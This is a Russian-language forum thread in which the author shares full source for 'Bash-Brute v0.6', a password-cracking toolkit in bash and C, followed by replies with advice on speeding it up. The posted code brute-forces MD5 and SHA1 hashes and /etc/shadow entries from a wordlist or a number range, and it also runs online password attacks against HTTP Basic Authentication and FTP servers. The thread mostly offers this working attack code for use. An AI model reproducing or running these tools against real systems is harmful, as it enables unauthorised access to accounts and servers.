Bash-Brute v0.6 Представляю вам мой маленький скрипт - переборщик. Суть его такова - у вас есть md5-хеш, но у вас нет возможностей\времени\или просто лень заморачиваться с rainbow tables. Скрипт доскональна прост, состоит из этих функций: 1. Перебор пароля к заданному shadow файлу, 2. Перебор пароля по цифрам, 3. Перебор пароля по словарю, 4. Перебор по алгоритму sha1. 5. Перебор к Authorization Basic! 6. Перебор паролей к FTP серверу! В будущем (несколько дней) ожидается увеличение скорости и третья функция - алгоритм счетчика. Пока, его основное преимущества это работа с стандартными утилитами, входящие в основу почти любой сборки linux. Если у вас есть желание помочь, то отписываетесь здесь или стучаться ко мне. В любом случае очень рад. Появилась возможность перебора к FTP серверу! Скриншот: Сам исходник последней актуальной версии (Теперь удобнее!): md5brute.sh Code: #!/bin/bash echo echo "*************************" echo "****Bash-Brutoforcer*****" echo "**created by cyber-punk**" echo "******and Simo2553*******" echo "*******version 0.6*******" echo "*************************" echo case "$1" in -http) case $2 in -w) Pass="/home/cyber/passes.txt" # File with username:password lines cat $Pass | while read line; do C=`echo -n $line | base64` Good=`printf "HTTP/1.1 200 OK\r\n"` # Good answer Dir="/auth/index.html" # Directory or path to file were protected exec 3<> /dev/tcp/${3:-$3}/80 printf "GET $Dir HTTP/1.0\r\n" >&3 printf "Accept: text/html, text/plain\r\n" >&3 printf "Accept-Language: en\r\n" >&3 printf "Authorization: Basic $C\r\n" >&3 printf "User-Agent: cyber-punk's_BashScript v.%s\r\n" "${BASH_VERSION}" >&3 printf "\r\n" >&3 while read LINE <&3 do A=`echo $LINE | grep "OK"` if [ "$A" = "$Good" ]; then echo echo "Good password is - $line" notify-send "Good password - $line" >> /dev/null exit 1 else echo "Bad password" fi done done ;; *) echo "Bad Argument!" echo ;; esac ;; -ftp) echo "Starting FTP brutoforce..." echo "Server - $2" echo "User - $3" echo echo -n "Loading..."; echo X="/usr/share/dict/words" cat $X | while read line; do SRV=$2 USR=$3 echo -n "Cheking - $line " STR="logged" STR2=`ftp -inv $SRV << EOF user $USR $line bye EOF` for LINE in $STR2 do A=`echo $LINE | grep "logged"` if [ "$A" = "$STR" ]; then echo echo echo "+---------------------+" echo "|Good password - $line|" echo "+---------------------+" notify-send "Good password - $line" >> /dev/null exit 1 else echo -n "." fi done echo -n ".";echo done ;; -md5) case $2 in -w) X="/usr/share/dict/words" # Path to your dictionary cat $X | while read line; do A=`echo "$line"` B=$(echo -n $A | md5sum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$3" ]; then echo echo "Good password - $A" notify-send "Good password - $A" >> /dev/null exit else echo "Bad password - $A" fi done ;; -n) echo C=1000000000000000 # End number A=0 # Start number while [ $A -lt $C ] do A=$((1+A)) B=$(echo -n $A | md5sum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$3" ]; then echo echo "Good password - $A" notify-send "Good password - $A" exit else echo "Bad password - $A" fi done ;; esac ;; -sha) case $2 in -w) X="/usr/share/dict/words" # Path to your dictionary cat $X | while read line; do A=`echo "$line"` B=$(echo -n $A | shasum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$3" ]; then echo echo "Good password - $A" notify-send "Good password - $A" >> /dev/null exit else echo "Bad password - $A" fi done ;; -n) echo C=1000000000000000 # End number A=0 # Start number while [ $A -lt $C ] do A=$((1+A)) B=$(echo -n $A | shasum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$3" ]; then echo echo "Good password - $A" notify-send "Good password - $A" exit else echo "Bad password - $A" fi done ;; esac ;; -i) echo echo "|---------------------------|" echo "|---created by cyber-punk---|" echo "|--------version 0.6--------|" echo "|--last update: 24.09.2011--|" echo "|-mail: [email protected]|" echo "|---twitter: cyberpunkych---|" echo "|---------------------------|" echo ;; -shadow) echo echo "Use it: $0 -b /etc/shadow " echo gcc -lcrypt -o bruteshadow bruteshadow.c ./bruteshadow $2 ;; *) echo "Use: $0 -sha|-md5|-shadow|-http|-ftp|-i(nformation) -w(ordlist)|-n(umbers)|server(only FTP) hash|shadow(only for -shadow)|user(only for FTP)|site (only for -http)" echo echo "More information:" echo echo "http - function now works only with -wordlist" echo "shadow - for this function you must have GCC" echo "ftp - FTP brutoforcer, you must enter ip and user to brute" echo exit esac bash-brute-gui.sh Code: #!/bin/bash echo echo "*************************" echo "****Bash-Brutoforcer*****" echo "**created by cyber-punk**" echo "******and Simo2553*******" echo "*******GUI version*******" echo "*************************" echo main=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Alhoritm: -sha, -md5 or -shadow file"` case "$main" in -md5) main2=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Method: -n(umbers) -w(ordlist)"` case $main2 in -w) X=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the path to you dictionary:"` # Path to your dictionary pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"` cat $X | while read line; do A=`echo "$line"` B=$(echo -n $A | md5sum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$pass" ]; then echo echo "Good password - $A" notify-send "Good password - $A" >> /dev/null zenity --info --title="Bash-Brute GUI" --text="Good password - $A" exit else echo "Bad password - $A" fi done ;; -n) echo pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"` C=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the end number:"` # End number A=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the start number:"` # Start number while [ $A -lt $C ] do A=$((1+A)) B=$(echo -n $A | md5sum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$pass" ]; then echo echo "Good password - $A" notify-send "Good password - $A" zenity --info --title="Bash-Brute GUI" --text="Good password - $A" exit else echo "Bad password - $A" fi done ;; esac ;; -sha) main2=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the one of these: \n Method: -n(umbers) -w(ordlist)"` case $main2 in -w) X=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the path to you dictionary:"` # Path to your dictionary pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"` cat $X | while read line; do A=`echo "$line"` B=$(echo -n $A | shasum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$pass" ]; then echo echo "Good password - $A" notify-send "Good password - $A" >> /dev/null zenity --info --title="Bash-Brute GUI" --text="Good password - $A" exit else echo "Bad password - $A" fi done ;; -n) echo pass=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter you crypted password:"` C=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the end number:"` # End number A=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter the start number:"` # Start number while [ $A -lt $C ] do A=$((1+A)) B=$(echo -n $A | shasum) B=$(echo -n $B | sed s/-//g) B=$(echo -n $B) if [ "$B" = "$pass" ]; then echo echo "Good password - $A" notify-send "Good password - $A" zenity --info --title="Bash-Brute GUI" --text="Good password - $A" exit else echo "Bad password - $A" fi done ;; esac ;; -i) echo zenity --info --title="Bash-Brute GUI" --text=" |---------------------------|\n |---created by cyber-punk---|\n |--------GUI version--------|\n |--last update: 16.07.2011--|\n |-mail: [email protected]|\n |---twitter: cyberpunkych---|\n |---------------------------|" echo ;; -shadow) echo gcc -lcrypt -o bruteshadow bruteshadow.c shadow=`zenity --entry --title="Bash-Brutoforcer GUI" --text=" Enter path to your shadow file:"` ./bruteshadow $shadow ;; *) zenity --error --title="Bash-Brutoforcer GUI" --text="Bad parameter! Try again!" $0 echo exit esac bruteshadow.c Code: #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h> int main(int argc, char* argv[]) { FILE *fd1, *fd2; char *str1, *str2; char *salt, *hash, *key, *key1; char buf[13], word[100], pass[100]; if (argc != 2) { fprintf(stderr, "Usage: %s <file shadow>\n", argv[0]); exit(-1); } str1 = (char*)malloc(100); str2 = (char*)malloc(100); fd1 = fopen(argv[1], "r"); fprintf(stderr, "Please, wait...\n"); while(fgets(str1, 100, fd1) != NULL) { str2 = strstr(str1, "$1$"); if (str2 != NULL) { key = strtok(str2, ":"); snprintf(pass, sizeof(pass), "%s", key); printf ("pass=%s (%d)\n", pass, strlen(pass)); strtok(key, "$"); salt = strtok(NULL, "$"); hash = strtok(NULL, "\0"); snprintf(buf, sizeof(buf), "$1$%s$", salt); fd2 = fopen("/usr/share/dict/words", "r"); while(fgets(word, 100, fd2) != NULL) { (&word[strlen(word)])[-1] = '\0'; key1 = crypt(word, buf); if (!strncmp(key1, pass, strlen(key1))) { printf("OK! Password: %s\n\n", word); break; } } } } fclose(fd1); fclose(fd2); free(str1); free(str2); return 0; } GIT: github - Bash-Brute Мы на EtherPad: ietherpad.com Всех желающих принять участие в разработке прошу писать в аську! version 0.6: dropbox.com version 0.5: dropbox.com version 0.4: dropbox.com version 0.3: самораспаковывающийся архив - pastebay.com dropbox.com обычный архив: dropbox.com отдельные файлы: bruteshadow.c md5brute.sh version 0.2: pastebay.com dropbox.com ideone.com
Пока будешь использовать в Bash стандартные утилити куда бы ты не стремился скорость будет низкая. Если бы это был какой нибудь брутфорс удаленного сервера тогда скорость работы не сильно повлияла бы, но для локального брута программы лучше писать на C. А так конечно автору +
Скорее на несколько процессов - run as daemon => bash>cmd & Понимаешь ли ты, все равно, для перебора пароля программа должна использовать все средства(время процессора), поэтому такую прогу лучше написать на C/C++ и с многопоточностью, конечно если процессор многоядерный, иначе имхо не имеет смысла создавать несколько потоков в бруте, чтобы процессор не терял время на их синхронизацию.
Не уж то собираешься его переписать через system/exec** ?? Резултать будет почти аналогичный, его надо переписать так чтобы md5 вызывался как фунцкия в программе, т.е. подключи заголовочные файлы md5 и начни программировать, но вот только написать все это в одну функцию не очень хорошая идея - раздели на несколько файлов.
Это не поможет товарищ, я же в предыдущем сообщении и написал, что если использовать system() резултать будет аналогичен. В Linux есть такая волшебная фунцкия crypt(), пользоватся ею очень легко даже, возвращает хеши sha/md5. Попробуй задать в консолe : man crypt ->update
На товарищ : http://www.metalshell.com/source_code/8/Crypt.html http://www.gnu.org/s/hello/manual/libc/crypt.html Посмотри, там примеры использования crypt(). Если переделаешь свою программу в C будет намного быстрее брутит.
ОБНОВЛЕНИЕ. Написал новую функцию на C. Идёт работа над переписыванием остальных фунций и их оптимизация.
С течением времени код с bash плавно перейдет полностью в сишный с потоками, а CPU-брут также плавно перейдет в GPU. И будем иметь под никсами еще один брутер =)